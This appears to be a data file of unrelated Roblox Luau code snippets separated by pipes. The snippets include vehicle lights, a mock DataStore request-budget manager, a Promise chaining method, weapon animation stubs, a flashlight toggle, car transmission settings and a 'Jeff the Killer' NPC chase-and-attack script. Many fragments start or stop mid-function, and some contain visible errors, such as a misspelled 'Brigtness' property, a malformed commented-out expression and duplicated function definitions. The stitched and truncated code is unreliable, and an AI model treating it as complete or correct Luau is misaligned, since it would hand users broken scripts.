v.Transparency=0
v.Light.Brightness=12
v.Light.Range=15
else
v.Transparency=.3
v.Light.Brightness=8
v.Light.Range=10
end
else
v.Transparency=0
if GBrake.Value>0 then
v.Material=Enum.Material.Neon
else
v.Material=Enum.Material.SmoothPlastic
end
end
elseif v.Name=="RR" then
if GBrake.Value>0 then
v.Material=Enum.Material.Neon
if v.Light.Enabled then
v.Transparency = 1
else
v.Transparency = 0
end
else
v.Transparency = 1
if v.Light.Enabled then
v.Material=Enum.Material.Neon
else
v.Material=Enum.Material.SmoothPlastic
end
end
end
end
end)
game.Lighting.Changed:connect(auto)
auto()
|
--2-- |
script.Parent.Parent.ll2.Transparency = 0
script.Parent.Parent.l2.Transparency = 0
script.Parent.Parent.h2.Transparency = 0
script.Parent.Parent.rr2.Transparency = 0
end
function on()
isOn = true
script.Parent.Parent.ex.exit1.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex.exit2.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex.exit3.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex.exit4.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex.exit5.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex.exit6.SurfaceGui.TextLabel.TextTransparency = 0 |
-- declarations |
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Human")
local pose = "Standing"
local toolAnim = "None"
local toolAnimTime = 0
local isSeated = false
|
-- Request limit bookkeeping: |
local Budgets = {}
local budgetRequestQueues = {
[Enum.DataStoreRequestType.GetAsync] = {};
[Enum.DataStoreRequestType.GetSortedAsync] = {};
[Enum.DataStoreRequestType.OnUpdate] = {};
[Enum.DataStoreRequestType.SetIncrementAsync] = {};
[Enum.DataStoreRequestType.SetIncrementSortedAsync] = {};
}
local function initBudget()
for requestType, const in pairs(ConstantsMapping) do
Budgets[requestType] = const.START
end
Budgets[Enum.DataStoreRequestType.UpdateAsync] = math.min(
Budgets[Enum.DataStoreRequestType.GetAsync],
Budgets[Enum.DataStoreRequestType.SetIncrementAsync]
)
end
local function updateBudget(req, const, dt, n)
if not Constants.BUDGETING_ENABLED then
return
end
local rate = const.RATE + n * const.RATE_PLR
Budgets[req] = math.min(
Budgets[req] + dt * rate,
const.MAX_FACTOR * rate
)
end
local function stealBudget(budget)
if not Constants.BUDGETING_ENABLED then
return
end
for _, requestType in pairs(budget) do
if Budgets[requestType] then
Budgets[requestType] = math.max(0, Budgets[requestType] - 1)
end
end
Budgets[Enum.DataStoreRequestType.UpdateAsync] = math.min(
Budgets[Enum.DataStoreRequestType.GetAsync],
Budgets[Enum.DataStoreRequestType.SetIncrementAsync]
)
end
local function checkBudget(budget)
if not Constants.BUDGETING_ENABLED then
return true
end
for _, requestType in pairs(budget) do
if Budgets[requestType] and Budgets[requestType] < 1 then
return false
end
end
return true
end
local isFrozen = false
if RunService:IsServer() then
-- Only do budget/throttle updating on server (in case package required on client)
initBudget()
task.spawn(function() -- Thread that increases budgets and de-throttles requests periodically
local lastCheck = tick()
while task.wait(Constants.BUDGET_UPDATE_INTERVAL) do
local now = tick()
local dt = (now - lastCheck) / 60
lastCheck = now
local n = #Players:GetPlayers()
if not isFrozen then
for requestType, const in pairs(ConstantsMapping) do
updateBudget(requestType, const, dt, n)
end
Budgets[Enum.DataStoreRequestType.UpdateAsync] = math.min(
Budgets[Enum.DataStoreRequestType.GetAsync],
Budgets[Enum.DataStoreRequestType.SetIncrementAsync]
)
end
for _, budgetRequestQueue in pairs(budgetRequestQueues) do
for i = #budgetRequestQueue, 1, -1 do
local request = budgetRequestQueue[i]
local thread = request.Thread
local budget = request.Budget
local key = request.Key
local lock = request.Lock
local cache = request.Cache
if not (lock and (lock[key] or tick() - (cache[key] or 0) < Constants.WRITE_COOLDOWN)) and checkBudget(budget) then
table.remove(budgetRequestQueue, i)
stealBudget(budget)
coroutine.resume(thread)
end
end
end
end
end)
game:BindToClose(function()
for requestType, const in pairs(ConstantsMapping) do
Budgets[requestType] = math.max(
Budgets[requestType],
Constants.BUDGET_ONCLOSE_BASE * (const.RATE / Constants.BUDGET_BASE)
)
end
Budgets[Enum.DataStoreRequestType.UpdateAsync] = math.min(
Budgets[Enum.DataStoreRequestType.GetAsync],
Budgets[Enum.DataStoreRequestType.SetIncrementAsync]
)
end)
end
function MockDataStoreManager.GetGlobalData()
return Data.GlobalDataStore
end
function MockDataStoreManager.GetData(name, scope)
assert(type(name) == "string")
assert(type(scope) == "string")
if not Data.DataStore[name] then
Data.DataStore[name] = {}
end
if not Data.DataStore[name][scope] then
Data.DataStore[name][scope] = {}
end
return Data.DataStore[name][scope]
end
function MockDataStoreManager.GetOrderedData(name, scope)
assert(type(name) == "string")
assert(type(scope) == "string")
if not Data.OrderedDataStore[name] then
Data.OrderedDataStore[name] = {}
end
if not Data.OrderedDataStore[name][scope] then
Data.OrderedDataStore[name][scope] = {}
end
return Data.OrderedDataStore[name][scope]
end
function MockDataStoreManager.GetDataInterface(data)
return Interfaces[data]
end
function MockDataStoreManager.SetDataInterface(data, interface)
assert(type(data) == "table")
assert(type(interface) == "table")
Interfaces[data] = interface
end
function MockDataStoreManager.GetBudget(requestType)
if Constants.BUDGETING_ENABLED then
return math.floor(Budgets[requestType] or 0)
else
return math.huge
end
end
function MockDataStoreManager.SetBudget(requestType, budget)
assert(type(budget) == "number")
budget = math.max(budget, 0)
if requestType == Enum.DataStoreRequestType.UpdateAsync then
Budgets[Enum.DataStoreRequestType.SetIncrementAsync] = budget
Budgets[Enum.DataStoreRequestType.GetAsync] = budget
end
if Budgets[requestType] then
Budgets[requestType] = budget
end
end
function MockDataStoreManager.ResetBudget()
initBudget()
end
function MockDataStoreManager.FreezeBudgetUpdates()
isFrozen = true
end
function MockDataStoreManager.ThawBudgetUpdates()
isFrozen = false
end
function MockDataStoreManager.YieldForWriteLockAndBudget(callback, key, writeLock, writeCache, budget)
assert(type(callback) == "function")
assert(type(key) == "string")
assert(type(writeLock) == "table")
assert(type(writeCache) == "table")
assert(#budget > 0)
local mainRequestType = budget[1]
if #budgetRequestQueues[mainRequestType] >= Constants.THROTTLE_QUEUE_SIZE then
return false -- no room in throttle queue
end
callback() -- would i.e. trigger a warning in output
table.insert(budgetRequestQueues[mainRequestType], 1, {
Key = key;
Lock = writeLock;
Cache = writeCache;
Thread = coroutine.running();
Budget = budget;
})
coroutine.yield()
return true
end
function MockDataStoreManager.YieldForBudget(callback, budget)
assert(type(callback) == "function")
assert(#budget > 0)
local mainRequestType = budget[1]
if checkBudget(budget) then
stealBudget(budget)
elseif #budgetRequestQueues[mainRequestType] >= Constants.THROTTLE_QUEUE_SIZE then
return false -- no room in throttle queue
else
callback() -- would i.e. trigger a warning in output
table.insert(budgetRequestQueues[mainRequestType], 1, {
After = 0; -- no write lock
Thread = coroutine.running();
Budget = budget;
})
coroutine.yield()
end
return true
end
function MockDataStoreManager.ExportToJSON()
local export = {}
if next(Data.GlobalDataStore) ~= nil then -- GlobalDataStore not empty
export.GlobalDataStore = Data.GlobalDataStore
end
export.DataStore = Utils.prepareDataStoresForExport(Data.DataStore) -- can be nil
export.OrderedDataStore = Utils.prepareDataStoresForExport(Data.OrderedDataStore) -- can be nil
return HttpService:JSONEncode(export)
end
|
-- Bind function to update event. Used to update player's orientation if FilteringEnabled
-- is true (otherwise the rotation would not replicate from the rotating player) |
updateEvent.OnServerEvent:Connect(function(player, neckC0, shoulderC0)
local character = player.Character
if character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
character.Torso.Neck.C0 = neckC0
character.Torso:FindFirstChild("Right Shoulder").C0 = shoulderC0
else
character.Head.Neck.C0 = neckC0
character.RightUpperArm:FindFirstChild("RightShoulder").C0 = shoulderC0
end
end)
|
--s.Pitch = 0.7
--[[for x = 1, 50 do
s.Pitch = s.Pitch + 0.20 1.900
s:play()
wait(0.001)
end]] | |
--Services |
local RunService = game:GetService("RunService")
|
--[[
Creates a new promise that receives the result of this promise.
The given callbacks are invoked depending on that result.
]] |
function Promise.prototype:_andThen(traceback, successHandler, failureHandler)
self._unhandledRejection = false
-- If we are already cancelled, we return a cancelled Promise
if self._status == Promise.Status.Cancelled then
local promise = Promise.new(function() end)
promise:cancel()
return promise
end
-- Create a new promise to follow this part of the chain
return Promise._new(traceback, function(resolve, reject, onCancel)
-- Our default callbacks just pass values onto the next promise.
-- This lets success and failure cascade correctly!
local successCallback = resolve
if successHandler then
successCallback = createAdvancer(traceback, successHandler, resolve, reject)
end
local failureCallback = reject
if failureHandler then
failureCallback = createAdvancer(traceback, failureHandler, resolve, reject)
end
if self._status == Promise.Status.Started then
-- If we haven't resolved yet, put ourselves into the queue
table.insert(self._queuedResolve, successCallback)
table.insert(self._queuedReject, failureCallback)
onCancel(function()
-- These are guaranteed to exist because the cancellation handler is guaranteed to only
-- be called at most once
if self._status == Promise.Status.Started then
table.remove(self._queuedResolve, table.find(self._queuedResolve, successCallback))
table.remove(self._queuedReject, table.find(self._queuedReject, failureCallback))
end
end)
elseif self._status == Promise.Status.Resolved then
-- This promise has already resolved! Trigger success immediately.
successCallback(unpack(self._values, 1, self._valuesLength))
elseif self._status == Promise.Status.Rejected then
-- This promise died a terrible death! Trigger failure immediately.
failureCallback(unpack(self._values, 1, self._valuesLength))
end
end, self)
end
|
-- Services |
local lighting = game:GetService("Lighting")
local tweenService = game:GetService("TweenService")
|
--[[
Gets a list of all nodes in the tree for which the given callback returns
true.
]] |
function TestPlan:findNodes(callback)
local results = {}
self:visitAllNodes(function(node)
if callback(node) then
table.insert(results, node)
end
end)
return results
end
return TestPlan
|
--// Animations |
local L_165_
function IdleAnim(L_335_arg1)
L_24_.IdleAnim(L_3_, L_165_, {
L_45_,
L_46_,
L_47_
});
end;
function EquipAnim(L_336_arg1)
L_24_.EquipAnim(L_3_, L_165_, {
L_45_
});
end;
function UnequipAnim(L_337_arg1)
L_24_.UnequipAnim(L_3_, L_165_, {
L_45_
});
end;
function FireModeAnim(L_338_arg1)
L_24_.FireModeAnim(L_3_, L_165_, {
L_45_,
L_47_,
L_46_,
L_55_
});
end
function ReloadAnim(L_339_arg1)
L_24_.ReloadAnim(L_3_, L_165_, {
L_45_,
L_46_,
L_47_,
L_58_,
L_3_:WaitForChild('Left Arm'),
L_55_,
L_49_,
L_3_:WaitForChild('Right Arm'),
L_43_
});
end;
function BoltingBackAnim(L_340_arg1)
L_24_.BoltingBackAnim(L_3_, L_165_, {
L_49_
});
end
function BoltingForwardAnim(L_341_arg1)
L_24_.BoltingForwardAnim(L_3_, L_165_, {
L_49_
});
end
function BoltingForwardAnim(L_342_arg1)
L_24_.BoltingForwardAnim(L_3_, L_165_, {
L_49_
});
end
function BoltBackAnim(L_343_arg1)
L_24_.BoltBackAnim(L_3_, L_165_, {
L_49_,
L_47_,
L_46_,
L_45_,
L_59_
});
end
function BoltForwardAnim(L_344_arg1)
L_24_.BoltForwardAnim(L_3_, L_165_, {
L_49_,
L_47_,
L_46_,
L_45_,
L_59_
});
end
function InspectAnim(L_345_arg1)
L_24_.InspectAnim(L_3_, L_165_, {
L_47_,
L_46_
});
end
function nadeReload(L_346_arg1)
L_24_.nadeReload(L_3_, L_165_, {
L_46_,
L_47_
});
end
function AttachAnim(L_347_arg1)
L_24_.AttachAnim(L_3_, L_165_, {
L_46_,
L_47_
});
end
function PatrolAnim(L_348_arg1)
L_24_.PatrolAnim(L_3_, L_165_, {
L_46_,
L_47_
});
end
|
--After the coin is collected it won't emit particles when touched |
part.Touched:Connect(function(hit)
if hit.Parent:FindFirstChild("Humanoid") then
local emitter = part.ParticleEmitter
emitter.Enabled = false
end
end)script.Parent.Transparency = 0
|
-- Sub to me! https://www.youtube.com/channel/UCrG4Cnjcz1mkDopaqPGaW3A
-- My discord! https://discord.gg/6x56rTZ5c8
-- Good luck! |
local mouse = game.Players.LocalPlayer:GetMouse()
function Light()
local player = game.Players.LocalPlayer
local playerChar = player.Character
local playerLight = playerChar.Head:FindFirstChild("Light")
if playerLight then
playerLight:Destroy()
else
local light = Instance.new("SurfaceLight",playerChar:FindFirstChild("Head"))
light.Name = "Light"
light.Range = 60 -- Change lighting range / Изменение диапозона освещения
light.Angle = 50 -- Change lighting angle / Изменение угла освещения
light.Shadows = true
light.Brigtness = 3 -- Change lighting brigtness / Изменение яркости освещения
end
end
mouse.KeyDown:connect(function(key)
key = key:lower()
if key == "f" then
script.FlashLightSound:Play()
Light()
end
end)
|
--// SHITTY CODE \/\/\/ |
wait(0.3)
local car = script.Parent.Car.Value
local values = script.Parent.Values
local bodmain = car.Body.MainDiff
local rpm = values.RPM
function update()
local actrpm = rpm.Value/rpmdiv
car.drivetrain:FireServer(actrpm,bodmain)
end
while wait(waittime) do
update()
end
|
--------------| MODIFY COMMANDS |-------------- |
SetCommandRankByName = {
--["jump"] = "VIP";
};
SetCommandRankByTag = {
["abusive"] = "Admin";
};
};
|
--[[Transmission]] |
Tune.TransModes = {"Auto"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.7 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 2.6 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 0.8 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--// Module LoadOrder List; Core modules need to be loaded in a specific order; If you create new "Core" modules make sure you add them here or they won't load |
local LoadingOrder = {
--// Nearly all modules rely on these to function
"Logs";
"Variables";
"Functions";
--// Core functionality
"Core";
"Remote";
"Process";
--// Misc
"Admin";
"HTTP";
"Anti";
"Commands";
}
|
--Classes |
export type SoundState = {
Save: (SoundState) -> nil,
Play: (SoundState) -> nil,
Resume: (SoundState) -> nil,
Pause: (SoundState) -> nil,
Stop: (SoundState) -> nil,
SetEffects: (SoundState, {[string]: {[string]: any}}) -> nil,
StateValue: StringValue,
}
export type ClientSound = {
Update: (ClientSound) -> nil,
}
return {}
|
-- Sounds |
local Soundscape = game.Soundscape
local ExitSound = Soundscape:FindFirstChild("ExitSound")
|
-- Listeners for inputs |
IsOn.Changed:connect(ConfigWater)
ShouldEmitSound.Changed:connect(ConfigWater)
MaxVolume.Changed:connect(ConfigWater)
|
-- add the arms |
table.insert(ArmPartsTable, Character:WaitForChild("Right Arm"))
table.insert(ArmPartsTable, Character:WaitForChild("Left Arm")) |
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]] | --
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=400;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(5000);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=40.50;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=1300;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
